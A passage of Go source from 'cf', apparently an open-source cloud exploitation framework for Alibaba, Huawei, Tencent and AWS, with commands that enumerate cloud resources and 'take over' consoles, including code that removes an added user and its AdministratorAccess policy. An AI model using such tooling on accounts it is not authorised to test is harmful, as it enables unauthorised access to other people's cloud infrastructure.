"github.com/teamssix/cf/pkg/util/errutil" 8 | ) 9 | 10 | func DeleteUser(userId string, userName string) { 11 | keystoneDeleteUserRequestContent := &iamModel.KeystoneDeleteUserRequest{} 12 | keystoneDeleteUserRequestContent.UserId = userId 13 | _, err := IAMClient().KeystoneDeleteUser(keystoneDeleteUserRequestContent) 14 | errutil.HandleErrNoExit(err) 15 | if err == nil { 16 | log.Debugf("删除 %s 用户成功 (Delete %s user successfully)", userName, userName) 17 | } 18 | } 19 | 20 | func CancelTakeoverConsole() { 21 | TakeoverConsoleCache := database.SelectTakeoverConsoleCache("huawei") 22 | if len(TakeoverConsoleCache) == 0 { 23 | log.Infoln("未接管过控制台,无需取消 (No takeover of the console, no need to cancel)") 24 | } else { 25 | userId := TakeoverConsoleCache[0].PrimaryAccountID 26 | userName := TakeoverConsoleCache[0].UserName 27 | DeleteUser(userId, userName) 28 | database.DeleteTakeoverConsoleCache("huawei") 29 | log.Infof("成功删除 %s 用户,已取消控制台接管 (Successful deletion of %s user, console takeover cancelled)", userName, userName) 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feat.yml: -------------------------------------------------------------------------------- 1 | name: 新功能反馈 (Feedback on new features) 2 | description: 提交一个功能需求帮助完善这个项目 (Submit a feature request to help improve this project) 3 | title: "[Feat] <在这里输入你的标题 (Enter your title here)>" 4 | labels: ["enhancement"] 5 | assignees: 6 | - teamssix 7 | body: 8 | - type: markdown 9 | attributes: 10 | value: | 11 | 感谢您花时间提交这份 issue (Thanks for taking the time to fill out this bug report! ) 12 | - type: textarea 13 | id: new-features 14 | attributes: 15 | label: 描述你希望增加的功能 (Describe the features you wish to add) 16 | value: "详细描述你希望增加的功能,并且描述为什么想要增加这个功能以及意义,描述的越完善该反馈越有可能被采纳。(Describe in detail the feature you want to add, and describe why you want to add this feature and the significance, the better the description the more likely the feedback will be adopted.)" 17 | validations: 18 | required: true 19 | - type: textarea 20 | attributes: 21 | label: 补充信息 (Anything else?) 22 | description: | 23 | 链接?参考资料?任何可以给我们提供更多关于你所遇到的问题的背景资料的东西 24 | Links? References? Anything that will give us more context about the issue you are encountering! 25 | 26 | 提示:你可以通过点击这个区域来突出显示它,然后将文件拖入,从而附上图片或其他文件。 27 | Tip: You can attach images or log files by clicking this area to highlight it and then dragging files in. 28 | validations: 29 | required: false 30 | -------------------------------------------------------------------------------- /cmd/huawei/obs.go: -------------------------------------------------------------------------------- 1 | package huawei 2 | 3 | import ( 4 | log "github.com/sirupsen/logrus" 5 | "github.com/spf13/cobra" 6 | "github.com/teamssix/cf/pkg/cloud/huawei/huaweiobs" 7 | ) 8 | 9 | var ( 10 | obsLsRegion string 11 | obsLsFlushCache bool 12 | obsLsObjectNumber string 13 | ) 14 | 15 | func init() { 16 | huaweiCmd.AddCommand(obsCmd) 17 | obsCmd.AddCommand(obsLsCmd) 18 | 19 | obsLsCmd.Flags().StringVarP(&obsLsObjectNumber, "number", "n", "all", "指定列出对象的数量 (Specify the number of objects to list)") 20 | obsLsCmd.Flags().StringVarP(&obsLsRegion, "region", "r", "all", "指定区域 ID (Specify region ID)") 21 | obsLsCmd.Flags().BoolVar(&obsLsFlushCache, "flushCache", false, "刷新缓存,不使用缓存数据 (Refresh the cache without using cached data)") 22 | 23 | } 24 | 25 | var obsCmd = &cobra.Command{ 26 | Use: "obs", 27 | Short: "执行与对象存储相关的操作 (Perform obs-related operations)", 28 | Long: "执行与对象存储相关的操作 (Perform obs-related operations)", 29 | } 30 | 31 | var obsLsCmd = &cobra.Command{ 32 | Use: "ls", 33 | Short: "列出所有的存储桶 (List all buckets)", 34 | Long: "列出所有的存储桶 (List all buckets)", 35 | Run: func(cmd *cobra.Command, args []string) { 36 | log.Debugf("obsLsRegion: %s, obsLsFlushCache: %v", obsLsRegion, obsLsFlushCache) 37 | huaweiobs.PrintBucketsList(obsLsRegion, obsLsFlushCache, obsLsObjectNumber) 38 | }, 39 | } 40 | -------------------------------------------------------------------------------- /cmd/alibaba/ls.go: -------------------------------------------------------------------------------- 1 | package alibaba 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/spf13/cobra" 7 | "github.com/teamssix/cf/pkg/cloud/alibaba/aliecs" 8 | "github.com/teamssix/cf/pkg/cloud/alibaba/alioss" 9 | "github.com/teamssix/cf/pkg/cloud/alibaba/alirds" 10 | ) 11 | 12 | var ( 13 | lsRegion string 14 | lsFlushCache bool 15 | lsAllRegions bool 16 | ) 17 | 18 | func init() { 19 | alibabaCmd.AddCommand(lsCmd) 20 | lsCmd.Flags().StringVarP(&lsRegion, "region", "r", "all", "指定区域 ID (Specify region ID)") 21 | lsCmd.PersistentFlags().BoolVar(&lsFlushCache, "flushCache", false, "刷新缓存,不使用缓存数据 (Refresh the cache without using cached data)") 22 | lsCmd.Flags().BoolVarP(&lsAllRegions, "allRegions", "a", false, "使用所有区域,包括私有区域 (Use all regions, including private regions)") 23 | } 24 | 25 | var lsCmd = &cobra.Command{ 26 | Use: "ls", 27 | Short: "一键列出当前凭证下的 OSS、ECS、RDS 资源 (List OSS, ECS, RDS resources)", 28 | Long: `一键列出当前凭证下的 OSS、ECS、RDS 资源 (List OSS, ECS, RDS resources)`, 29 | Run: func(cmd *cobra.Command, args []string) { 30 | alioss.PrintBucketsList(lsRegion, lsFlushCache, "all", "all") 31 | fmt.Println("") 32 | aliecs.PrintInstancesList(lsRegion, false, "all", lsFlushCache, lsAllRegions) 33 | fmt.Println("") 34 | alirds.PrintDBInstancesList(lsRegion, false, "all", "all", lsFlushCache) 35 | }, 36 | } 37 | -------------------------------------------------------------------------------- /cmd/aws/regions.go: -------------------------------------------------------------------------------- 1 | package aws 2 | 3 | import ( 4 | log "github.com/sirupsen/logrus" 5 | "github.com/spf13/cobra" 6 | "github.com/teamssix/cf/pkg/cloud" 7 | "github.com/teamssix/cf/pkg/cloud/aws/awsec2" 8 | "strconv" 9 | ) 10 | 11 | var ec2RegionsAllRegions bool 12 | 13 | func init() { 14 | awsCmd.AddCommand(regionsCmd) 15 | regionsCmd.AddCommand(ec2RegionsCmd) 16 | } 17 | 18 | var regionsCmd = &cobra.Command{ 19 | Use: "regions", 20 | Short: "列出可用区域 (List available regions)", 21 | Long: "列出可用区域 (List available regions)", 22 | } 23 | 24 | var ec2RegionsCmd = &cobra.Command{ 25 | Use: "ec2", 26 | Short: "列出 aws ec2 的区域 (List the regions of aws ec2)", 27 | Long: "列出 aws ec2 的区域 (List the regions of aws ec2)", 28 | Run: func(cmd *cobra.Command, args []string) { 29 | awsec2.GetEC2Regions() 30 | regions := awsec2.GetEC2Regions() 31 | if len(regions) > 0 { 32 | var data = make([][]string, len(regions)) 33 | for i, v := range regions { 34 | SN := strconv.Itoa(i + 1) 35 | data[i] = []string{SN, *v.RegionName, *v.Endpoint} 36 | } 37 | var header = []string{"序号 (SN)", "区域名称 (Region Name)", "区域终端节点 (Region Endpoint)"} 38 | var td = cloud.TableData{Header: header, Body: data} 39 | cloud.PrintTable(td, "") 40 | } else { 41 | log.Infoln("未找到区域 (Regions not found)") 42 | } 43 | }, 44 | } 45 | -------------------------------------------------------------------------------- /cmd/alibaba/console.go: -------------------------------------------------------------------------------- 1 | package alibaba 2 | 3 | import ( 4 | "github.com/spf13/cobra" 5 | "github.com/teamssix/cf/pkg/cloud/alibaba/aliconsole" 6 | "github.com/teamssix/cf/pkg/cloud/cloudpub" 7 | ) 8 | 9 | var ( 10 | userName string 11 | password string 12 | ) 13 | 14 | func init() { 15 | alibabaCmd.AddCommand(consoleCmd) 16 | consoleCmd.AddCommand(cancelConsoleCmd) 17 | consoleCmd.AddCommand(lsConsoleCmd) 18 | 19 | consoleCmd.Flags().StringVarP(&userName, "userName", "u", "crossfire", "指定用户名 (Specify user name)") 20 | } 21 | 22 | var consoleCmd = &cobra.Command{ 23 | Use: "console", 24 | Short: "一键接管控制台 (Takeover console)", 25 | Long: "一键接管控制台 (Takeover console)", 26 | Run: func(cmd *cobra.Command, args []string) { 27 | aliconsole.TakeoverConsole(userName) 28 | }, 29 | } 30 | 31 | var cancelConsoleCmd = &cobra.Command{ 32 | Use: "cancel", 33 | Short: "取消接管控制台 (Cancel Takeover console)", 34 | Long: "取消接管控制台 (Cancel Takeover console)", 35 | Run: func(cmd *cobra.Command, args []string) { 36 | aliconsole.CancelTakeoverConsole() 37 | }, 38 | } 39 | 40 | var lsConsoleCmd = &cobra.Command{ 41 | Use: "ls", 42 | Short: "查看接管控制台的信息 (View Takeover console information)", 43 | Long: "查看接管控制台的信息 (View Takeover console information)", 44 | Run: func(cmd *cobra.Command, args []string) { 45 | cloudpub.LsTakeoverConsole("alibaba") 46 | }, 47 | } 48 | -------------------------------------------------------------------------------- /cmd/huawei/console.go: -------------------------------------------------------------------------------- 1 | package huawei 2 | 3 | import ( 4 | "github.com/spf13/cobra" 5 | "github.com/teamssix/cf/pkg/cloud/cloudpub" 6 | "github.com/teamssix/cf/pkg/cloud/huawei/huaweiconsole" 7 | ) 8 | 9 | var ( 10 | userName string 11 | password string 12 | ) 13 | 14 | func init() { 15 | huaweiCmd.AddCommand(consoleCmd) 16 | consoleCmd.AddCommand(cancelConsoleCmd) 17 | consoleCmd.AddCommand(lsConsoleCmd) 18 | 19 | consoleCmd.Flags().StringVarP(&userName, "userName", "u", "crossfire", "指定用户名 (Specify user name)") 20 | } 21 | 22 | var consoleCmd = &cobra.Command{ 23 | Use: "console", 24 | Short: "一键接管控制台 (Takeover console)", 25 | Long: "一键接管控制台 (Takeover console)", 26 | Run: func(cmd *cobra.Command, args []string) { 27 | huaweiconsole.TakeoverConsole(userName) 28 | }, 29 | } 30 | 31 | var cancelConsoleCmd = &cobra.Command{ 32 | Use: "cancel", 33 | Short: "取消接管控制台 (Cancel Takeover console)", 34 | Long: "取消接管控制台 (Cancel Takeover console)", 35 | Run: func(cmd *cobra.Command, args []string) { 36 | huaweiconsole.CancelTakeoverConsole() 37 | }, 38 | } 39 | 40 | var lsConsoleCmd = &cobra.Command{ 41 | Use: "ls", 42 | Short: "查看接管控制台的信息 (View Takeover console information)", 43 | Long: "查看接管控制台的信息 (View Takeover console information)", 44 | Run: func(cmd *cobra.Command, args []string) { 45 | cloudpub.LsTakeoverConsole("huawei") 46 | }, 47 | } 48 | -------------------------------------------------------------------------------- /cmd/tencent/console.go: -------------------------------------------------------------------------------- 1 | package tencent 2 | 3 | import ( 4 | "github.com/spf13/cobra" 5 | "github.com/teamssix/cf/pkg/cloud/cloudpub" 6 | "github.com/teamssix/cf/pkg/cloud/tencent/tencentconsole" 7 | ) 8 | 9 | var ( 10 | userName string 11 | password string 12 | ) 13 | 14 | func init() { 15 | tencentCmd.AddCommand(consoleCmd) 16 | consoleCmd.AddCommand(cancelConsoleCmd) 17 | consoleCmd.AddCommand(lsConsoleCmd) 18 | 19 | consoleCmd.Flags().StringVarP(&userName, "userName", "u", "crossfire", "指定用户名 (Specify user name)") 20 | } 21 | 22 | var consoleCmd = &cobra.Command{ 23 | Use: "console", 24 | Short: "一键接管控制台 (Takeover console)", 25 | Long: "一键接管控制台 (Takeover console)", 26 | Run: func(cmd *cobra.Command, args []string) { 27 | tencentconsole.TakeoverConsole(userName) 28 | }, 29 | } 30 | 31 | var cancelConsoleCmd = &cobra.Command{ 32 | Use: "cancel", 33 | Short: "取消接管控制台 (Cancel Takeover console)", 34 | Long: "取消接管控制台 (Cancel Takeover console)", 35 | Run: func(cmd *cobra.Command, args []string) { 36 | tencentconsole.CancelTakeoverConsole() 37 | }, 38 | } 39 | 40 | var lsConsoleCmd = &cobra.Command{ 41 | Use: "ls", 42 | Short: "查看接管控制台的信息 (View Takeover console information)", 43 | Long: "查看接管控制台的信息 (View Takeover console information)", 44 | Run: func(cmd *cobra.Command, args []string) { 45 | cloudpub.LsTakeoverConsole("tencent") 46 | }, 47 | } 48 | -------------------------------------------------------------------------------- /cmd/alibaba/rds.go: -------------------------------------------------------------------------------- 1 | package alibaba 2 | 3 | import ( 4 | "github.com/spf13/cobra" 5 | "github.com/teamssix/cf/pkg/cloud/alibaba/alirds" 6 | ) 7 | 8 | var ( 9 | rdslsFlushCache bool 10 | rdslsRegion string 11 | rdslsType string 12 | rdslsSpecifiedDBInstanceID string 13 | ) 14 | 15 | func init() { 16 | alibabaCmd.AddCommand(rdsCmd) 17 | rdsCmd.AddCommand(rdslsCmd) 18 | rdsCmd.PersistentFlags().BoolVar(&rdslsFlushCache, "flushCache", false, "刷新缓存,不使用缓存数据 (Refresh the cache without using cached data)") 19 | rdslsCmd.Flags().StringVarP(&rdslsRegion, "region", "r", "all", "指定区域 ID (Specify Region ID)") 20 | rdslsCmd.Flags().StringVarP(&rdslsSpecifiedDBInstanceID, "DBInstanceID", "i", "all", "指定数据库实例 ID (Specify DBInstance ID)") 21 | rdslsCmd.Flags().StringVarP(&rdslsType, "type", "t", "all", "指定数据库类型 (Specify DBInstance Type)") 22 | } 23 | 24 | var rdsCmd = &cobra.Command{ 25 | Use: "rds", 26 | Short: "执行与云数据库相关的操作 (Perform rds-related operations)", 27 | Long: "执行与云数据库相关的操作 (Perform rds-related operations)", 28 | } 29 | 30 | var rdslsCmd = &cobra.Command{ 31 | Use: "ls", 32 | Short: "列出所有的云数据库 (List all DBInstances)", 33 | Long: "列出所有的云数据库 (List all DBInstances)", 34 | Run: func(cmd *cobra.Command, args []string) { 35 | alirds.PrintDBInstancesList(rdslsRegion, running, rdslsSpecifiedDBInstanceID, rdslsType, rdslsFlushCache) 36 | }, 37 | } 38 | -------------------------------------------------------------------------------- /pkg/util/logger.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | import ( 4 | "os" 5 | 6 | prefixed "github.com/x-cray/logrus-prefixed-formatter" 7 | 8 | log "github.com/sirupsen/logrus" 9 | ) 10 | 11 | const ( 12 | LogLevelTrace = "trace" 13 | LogLevelDebug = "debug" 14 | LogLevelInfo = "info" 15 | LogLevelWarn = "warn" 16 | LogLevelError = "error" 17 | LogLevelFatal = "fatal" 18 | LogLevelPanic = "panic" 19 | ) 20 | 21 | func Init(level string) { 22 | log.SetOutput(os.Stdout) 23 | log.SetFormatter(logFormat()) 24 | log.SetLevel(logLevel(level)) 25 | AlertUpdateInfo() 26 | } 27 | 28 | func logLevel(level string) log.Level { 29 | switch level { 30 | case LogLevelTrace: 31 | return log.TraceLevel 32 | case LogLevelDebug: 33 | return log.DebugLevel 34 | case LogLevelInfo: 35 | return log.InfoLevel 36 | case LogLevelWarn: 37 | return log.WarnLevel 38 | case LogLevelError: 39 | return log.ErrorLevel 40 | case LogLevelFatal: 41 | return log.FatalLevel 42 | case LogLevelPanic: 43 | return log.PanicLevel 44 | default: 45 | return log.InfoLevel 46 | } 47 | } 48 | 49 | func logFormat() log.Formatter { 50 | formatter := new(prefixed.TextFormatter) 51 | formatter.FullTimestamp = true 52 | formatter.TimestampFormat = "2006-01-02 15:04:05" 53 | formatter.SetColorScheme(&prefixed.ColorScheme{ 54 | PrefixStyle: "blue+b", 55 | TimestampStyle: "white+h", 56 | }) 57 | return formatter 58 | } 59 | -------------------------------------------------------------------------------- /pkg/util/database/db.go: -------------------------------------------------------------------------------- 1 | package database 2 | 3 | import ( 4 | log "github.com/sirupsen/logrus" 5 | "github.com/ssbeatty/sqlite" 6 | "github.com/teamssix/cf/pkg/cloud" 7 | "github.com/teamssix/cf/pkg/util/errutil" 8 | "github.com/teamssix/cf/pkg/util/pubutil" 9 | "gorm.io/gorm" 10 | ) 11 | 12 | var CacheDb *gorm.DB 13 | var CacheDataBase *GlobalDB 14 | 15 | type GlobalDB struct { 16 | MainDB *gorm.DB 17 | } 18 | 19 | func Open(path string) *gorm.DB { 20 | db, err := gorm.Open(sqlite.Open(path), &gorm.Config{}) 21 | errutil.HandleErr(err) 22 | return db 23 | } 24 | 25 | func init() { 26 | var err error 27 | CacheDbList := new(GlobalDB) 28 | CacheDbList.MainDB = Open(pubutil.GetConfigFilePath()) 29 | CacheDataBase = CacheDbList 30 | err = CacheDataBase.MainDB.AutoMigrate(&cloud.Config{}) 31 | errutil.HandleErr(err) 32 | err = CacheDataBase.MainDB.AutoMigrate(&pubutil.TimestampCache{}) 33 | errutil.HandleErr(err) 34 | err = CacheDataBase.MainDB.AutoMigrate(&pubutil.OSSCache{}) 35 | errutil.HandleErr(err) 36 | err = CacheDataBase.MainDB.AutoMigrate(&pubutil.ECSCache{}) 37 | errutil.HandleErr(err) 38 | err = CacheDataBase.MainDB.AutoMigrate(&pubutil.RDSCache{}) 39 | errutil.HandleErr(err) 40 | err = CacheDataBase.MainDB.AutoMigrate(&pubutil.TakeoverConsoleCache{}) 41 | if err != nil { 42 | log.Errorln("数据库自动配置失败 (Database AutoMigrate Key Struct failure)") 43 | errutil.HandleErr(err) 44 | } 45 | CacheDb = CacheDataBase.MainDB 46 | } 47 | -------------------------------------------------------------------------------- /pkg/cloud/alibaba/alioss/client.go: -------------------------------------------------------------------------------- 1 | package alioss 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "strings" 7 | 8 | "github.com/teamssix/cf/pkg/util/errutil" 9 | 10 | log "github.com/sirupsen/logrus" 11 | "github.com/teamssix/cf/pkg/cloud" 12 | "github.com/teamssix/cf/pkg/util/cmdutil" 13 | 14 | "github.com/aliyun/aliyun-oss-go-sdk/oss" 15 | ) 16 | 17 | type OSSCollector struct { 18 | Conf cloud.Config 19 | Client *oss.Client 20 | } 21 | 22 | func CreateOSSEndpoint(region string) string { 23 | return fmt.Sprintf("oss-%s.aliyuncs.com", region) 24 | } 25 | 26 | func (o *OSSCollector) OSSClient(region string) *OSSCollector { 27 | config := cmdutil.GetConfig("alibaba") 28 | if config.AccessKeyId == "" { 29 | log.Warnln("需要先配置访问密钥 (Access Key need to be configured first)") 30 | os.Exit(0) 31 | return nil 32 | } else { 33 | if config.STSToken == "" { 34 | client, err := oss.New(CreateOSSEndpoint(region), config.AccessKeyId, config.AccessKeySecret) 35 | errutil.HandleErr(err) 36 | if err == nil { 37 | log.Traceln("OSS Client 连接成功 (OSS Client connection successful)") 38 | } 39 | o.Client = client 40 | } else { 41 | client, err := oss.New(CreateOSSEndpoint(region), config.AccessKeyId, config.AccessKeySecret) 42 | errutil.HandleErr(err) 43 | if err == nil { 44 | log.Traceln("OSS Client 连接成功 (OSS Client connection successful)") 45 | } 46 | client.Config.SecurityToken = strings.TrimSpace(config.STSToken) 47 | o.Client = client 48 | } 49 | return o 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /pkg/util/database/cacheTakeoverConsole.go: -------------------------------------------------------------------------------- 1 | package database 2 | 3 | import ( 4 | "github.com/teamssix/cf/pkg/util/pubutil" 5 | "time" 6 | ) 7 | 8 | func InsertTakeoverConsoleCache(provider string, PrimaryAccountID string, userName string, password string, loginURL string) { 9 | var TakeoverConsoleCache []pubutil.TakeoverConsoleCache 10 | DeleteTakeoverConsoleCache(provider) 11 | config := SelectConfigInUse(provider) 12 | AccessKeyId := config.AccessKeyId 13 | CreateTime := time.Now().Format("2006-01-02 15:04:05") 14 | TakeoverConsoleCache = append(TakeoverConsoleCache, pubutil.TakeoverConsoleCache{ 15 | Provider: provider, 16 | AccessKeyId: AccessKeyId, 17 | PrimaryAccountID: PrimaryAccountID, 18 | UserName: userName, 19 | Password: password, 20 | LoginUrl: loginURL, 21 | CreateTime: CreateTime, 22 | }) 23 | CacheDb.Create(&TakeoverConsoleCache) 24 | } 25 | 26 | func DeleteTakeoverConsoleCache(provider string) { 27 | var TakeoverConsoleCache []pubutil.TakeoverConsoleCache 28 | config := SelectConfigInUse(provider) 29 | CacheDb.Where("access_key_id = ?", config.AccessKeyId).Delete(&TakeoverConsoleCache) 30 | } 31 | 32 | func SelectTakeoverConsoleCache(provider string) []pubutil.TakeoverConsoleCache { 33 | var TakeoverConsoleCache []pubutil.TakeoverConsoleCache 34 | AccessKeyId := SelectConfigInUse(provider).AccessKeyId 35 | CacheDb.Where("access_key_id = ? COLLATE NOCASE", AccessKeyId).Find(&TakeoverConsoleCache) 36 | return TakeoverConsoleCache 37 | } 38 | -------------------------------------------------------------------------------- /pkg/util/timeStamp.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | import ( 4 | "github.com/teamssix/cf/pkg/util/database" 5 | "github.com/teamssix/cf/pkg/util/pubutil" 6 | "time" 7 | 8 | log "github.com/sirupsen/logrus" 9 | ) 10 | 11 | func WriteTimestamp(TimestampType string) { 12 | var TimestampCache pubutil.TimestampCache 13 | log.Tracef("写入 %s 时间戳 (Write %s Timestamp)", TimestampType, TimestampType) 14 | Timestamp := time.Now().Unix() 15 | TimestampCache.TimestampType = TimestampType 16 | TimestampCache.Timestamp = Timestamp 17 | database.InsertTimestamp(TimestampCache) 18 | } 19 | 20 | func ReadTimestamp(TimestampType string) int64 { 21 | log.Tracef("读取 %s 时间戳 (Reading %s Timestamp)", TimestampType, TimestampType) 22 | Timestamp := database.SelectTimestampType(TimestampType) 23 | return Timestamp 24 | } 25 | 26 | func ReturnVersionTimestampFile() string { 27 | cacheType := "version" 28 | return cacheType 29 | } 30 | 31 | func ReturnTimestampType(provider string, TimestampType string) string { 32 | cacheType := provider + "-" + TimestampType + "-" + pubutil.MaskAK(database.SelectConfigInUse(provider).AccessKeyId) 33 | return cacheType 34 | } 35 | 36 | func IsFlushCache(oldTimestamp int64) bool { 37 | nowTimestamp := time.Now().Unix() 38 | if nowTimestamp > oldTimestamp+86400 { 39 | return true 40 | } 41 | return false 42 | } 43 | 44 | func TimeDifference(oldTimestamp int64) { 45 | nowTimestamp := time.Now().Unix() 46 | log.Tracef("现在的时间戳:%d,缓存的时间戳:%d,相差 %d 秒", nowTimestamp, oldTimestamp, nowTimestamp-oldTimestamp) 47 | } 48 | -------------------------------------------------------------------------------- /cmd/root.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "os" 5 | 6 | "github.com/teamssix/cf/pkg/util" 7 | 8 | cc "github.com/ivanpirog/coloredcobra" 9 | "github.com/spf13/cobra" 10 | ) 11 | 12 | var logLevel string 13 | 14 | var RootCmd = &cobra.Command{ 15 | Use: "cf", 16 | Short: "cf is a cloud exploitation framework, designed for testing the security of cloud environments.", 17 | Long: ` 18 | ▄████ ▐████▄ 19 | ██▀ ▀██ ██████╗ ███████╗ 20 | ▀▀ ▀▀ ██╔════╝ ██╔════╝ 21 | ▀▀▀▀▀▀▀▀▀▀ ██║ █████╗ 22 | ▄▄ ▄▄ ██║ ██╔══╝ 23 | ██▄ ▄██ ╚██████╗ ██║ 24 | ▀████ ▐████▀ ╚═════╝ ╚═╝ 25 | 26 | github.com/teamssix/cf 27 | 28 | cf 是一个云环境利用框架,本工具仅可用于合法合规用途。 29 | cf is a cloud exploitation framework, designed for testing the security of cloud environments. 30 | `, 31 | PersistentPreRun: func(cmd *cobra.Command, args []string) { 32 | util.Init(logLevel) 33 | }, 34 | } 35 | 36 | func init() { 37 | RootCmd.PersistentFlags().StringVar(&logLevel, "logLevel", "info", "设置日志等级 (Set log level) [trace|debug|info|warn|error|fatal|panic]") 38 | RootCmd.CompletionOptions.DisableDefaultCmd = true 39 | } 40 | 41 | func Execute() { 42 | cc.Init(&cc.Config{ 43 | RootCmd: RootCmd, 44 | Headings: cc.HiGreen + cc.Underline, 45 | Commands: cc.Cyan + cc.Bold, 46 | Example: cc.Italic, 47 | ExecName: cc.Bold, 48 | Flags: cc.Cyan + cc.Bold, 49 | }) 50 | err := RootCmd.Execute() 51 | if err != nil { 52 | os.Exit(1) 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /pkg/cloud/cloud.go: -------------------------------------------------------------------------------- 1 | package cloud 2 | 3 | import ( 4 | "os" 5 | 6 | "github.com/olekukonko/tablewriter" 7 | ) 8 | 9 | type Config struct { 10 | Alias string 11 | AccessKeyId string 12 | AccessKeySecret string 13 | STSToken string 14 | Provider string 15 | InUse bool 16 | } 17 | 18 | type Bucket = Resource 19 | 20 | type TableData struct { 21 | Header []string 22 | Body [][]string 23 | } 24 | 25 | type Resource struct { 26 | Name string 27 | Region string 28 | Properties *Property 29 | } 30 | 31 | type Property map[string]string 32 | 33 | var regionMaps = map[string][]string{ 34 | "default": {"cn-beijing"}, 35 | } 36 | 37 | func GetGlobalRegions() []string { 38 | return GetRegions("default") 39 | } 40 | 41 | func GetRegions(key string) []string { 42 | if val, ok := regionMaps[key]; ok { 43 | return val 44 | } 45 | return regionMaps["default"] 46 | } 47 | 48 | func PrintTable(data TableData, Caption string) { 49 | table := tablewriter.NewWriter(os.Stdout) 50 | table.SetHeader(data.Header) 51 | table.SetAutoMergeCells(true) 52 | table.SetRowLine(true) 53 | table.SetHeaderAlignment(tablewriter.ALIGN_CENTER) 54 | table.SetAlignment(tablewriter.ALIGN_CENTER) 55 | 56 | var TableHeaderColor = make([]tablewriter.Colors, len(data.Header)) 57 | for i := range TableHeaderColor { 58 | TableHeaderColor[i] = tablewriter.Colors{tablewriter.Bold, tablewriter.FgGreenColor} 59 | } 60 | table.SetHeaderColor(TableHeaderColor...) 61 | if Caption != "" { 62 | table.SetCaption(true, Caption) 63 | } 64 | table.AppendBulk(data.Body) 65 | table.Render() 66 | } 67 | -------------------------------------------------------------------------------- /cmd/aws/ec2.go: -------------------------------------------------------------------------------- 1 | package aws 2 | 3 | import ( 4 | "github.com/spf13/cobra" 5 | "github.com/teamssix/cf/pkg/cloud/aws/awsec2" 6 | ) 7 | 8 | var ( 9 | //timeOut int 10 | //userData bool 11 | //batchCommand bool 12 | ec2FlushCache bool 13 | //ec2ExecAllRegions bool 14 | //metaDataSTSToken bool 15 | 16 | //lhost string 17 | //lport string 18 | //command string 19 | //scriptType string 20 | //commandFile string 21 | ec2LsRegion string 22 | //ec2ExecRegion string 23 | ec2LsSpecifiedInstanceID string 24 | //ec2Exec2pecifiedInstanceID string 25 | ) 26 | 27 | func init() { 28 | awsCmd.AddCommand(ec2Cmd) 29 | ec2Cmd.AddCommand(ec2LsCmd) 30 | 31 | ec2Cmd.PersistentFlags().BoolVar(&ec2FlushCache, "flushCache", false, "刷新缓存,不使用缓存数据 (Refresh the cache without using cached data)") 32 | 33 | ec2LsCmd.Flags().StringVarP(&ec2LsRegion, "region", "r", "all", "指定区域 ID (Specify region ID)") 34 | ec2LsCmd.Flags().StringVarP(&ec2LsSpecifiedInstanceID, "instanceID", "i", "all", "指定实例 ID (Specify instance ID)") 35 | } 36 | 37 | var ec2Cmd = &cobra.Command{ 38 | Use: "ec2", 39 | Short: "执行与弹性计算服务相关的操作 (Perform ec2-related operations)", 40 | Long: "执行与弹性计算服务相关的操作 (Perform ec2-related operations)", 41 | } 42 | 43 | var ec2LsCmd = &cobra.Command{ 44 | Use: "ls", 45 | Short: "列出所有的实例 (List all instances)", 46 | Long: "列出所有的实例 (List all instances)", 47 | Run: func(cmd *cobra.Command, args []string) { 48 | awsec2.PrintInstancesList(ec2LsRegion, false, ec2LsSpecifiedInstanceID, ec2FlushCache, false) 49 | }, 50 | } 51 | -------------------------------------------------------------------------------- /pkg/cloud/alibaba/alirds/client.go: -------------------------------------------------------------------------------- 1 | package alirds 2 | 3 | import ( 4 | "github.com/teamssix/cf/pkg/util/errutil" 5 | "os" 6 | 7 | "github.com/aliyun/alibaba-cloud-sdk-go/sdk" 8 | "github.com/aliyun/alibaba-cloud-sdk-go/sdk/auth/credentials" 9 | "github.com/aliyun/alibaba-cloud-sdk-go/services/rds" 10 | log "github.com/sirupsen/logrus" 11 | "github.com/teamssix/cf/pkg/util/cmdutil" 12 | ) 13 | 14 | func RDSClient(region string) *rds.Client { 15 | aliconfig := cmdutil.GetConfig("alibaba") 16 | if aliconfig.AccessKeyId == "" { 17 | log.Warnln("需要先配置访问密钥 (Access Key need to be configured first)") 18 | os.Exit(0) 19 | return nil 20 | } else { 21 | config := sdk.NewConfig() 22 | if aliconfig.STSToken == "" { 23 | credential := credentials.NewAccessKeyCredential(aliconfig.AccessKeyId, aliconfig.AccessKeySecret) 24 | client, err := rds.NewClientWithOptions(region, config, credential) 25 | errutil.HandleErr(err) 26 | if err == nil { 27 | log.Traceln("RDS Client 连接成功 (RDS Client connection successful)") 28 | } 29 | return client 30 | } else { 31 | credential := credentials.NewStsTokenCredential(aliconfig.AccessKeyId, aliconfig.AccessKeySecret, aliconfig.STSToken) 32 | client, err := rds.NewClientWithOptions(region, config, credential) 33 | errutil.HandleErr(err) 34 | if err == nil { 35 | log.Traceln("RDS Client 连接成功 (RDS Client connection successful)") 36 | } 37 | return client 38 | } 39 | } 40 | } 41 | 42 | func GetRDSRegions() []rds.RDSRegion { 43 | client := RDSClient("cn-hangzhou") 44 | request := rds.CreateDescribeRegionsRequest() 45 | request.Scheme = "https" 46 | response, err := client.DescribeRegions(request) 47 | errutil.HandleErr(err) 48 | return response.Regions.RDSRegion 49 | } 50 | -------------------------------------------------------------------------------- /pkg/cloud/alibaba/aliconsole/cancelTakeoverConsole.go: -------------------------------------------------------------------------------- 1 | package aliconsole 2 | 3 | import ( 4 | "github.com/aliyun/alibaba-cloud-sdk-go/services/ram" 5 | log "github.com/sirupsen/logrus" 6 | "github.com/teamssix/cf/pkg/cloud/alibaba/aliram" 7 | "github.com/teamssix/cf/pkg/util/database" 8 | "github.com/teamssix/cf/pkg/util/errutil" 9 | "strings" 10 | ) 11 | 12 | func DetachPolicyFromUser(userName string) { 13 | request := ram.CreateDetachPolicyFromUserRequest() 14 | request.Scheme = "https" 15 | request.PolicyType = "System" 16 | request.PolicyName = "AdministratorAccess" 17 | request.UserName = userName 18 | _, err := aliram.RAMClient().DetachPolicyFromUser(request) 19 | errutil.HandleErrNoExit(err) 20 | if err == nil { 21 | log.Debugf("成功移除 %s 用户的权限 (Successfully removed the 